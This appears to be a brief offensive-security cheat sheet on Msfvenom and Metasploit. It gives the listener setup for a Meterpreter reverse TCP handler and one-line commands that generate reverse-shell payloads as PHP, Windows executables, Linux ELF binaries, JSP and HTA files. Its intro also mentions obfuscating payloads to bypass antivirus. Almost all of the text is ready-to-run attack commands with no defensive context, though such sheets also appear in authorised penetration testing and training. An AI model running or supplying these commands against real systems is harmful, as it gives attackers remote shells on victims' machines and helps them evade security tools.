Msfvenom

Msfvenom allows the creation of payloads for various operating systems in a wide range of formats. It also supports obfuscation of payloads for AV bypass.

Set Up Listener

use exploit/multi/handler 
set PAYLOAD windows/meterpreter/reverse_tcp 
set LHOST your-ip 
set LPORT listening-port 
run

Msfvenom Commands

PHP:

msfvenom -p php/meterpreter/reverse_tcp lhost =192.168.0.9 lport=1234 R

Windows:

msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe

Linux:

msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf

Java:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp

HTA:

msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f hta-psh > shell.hta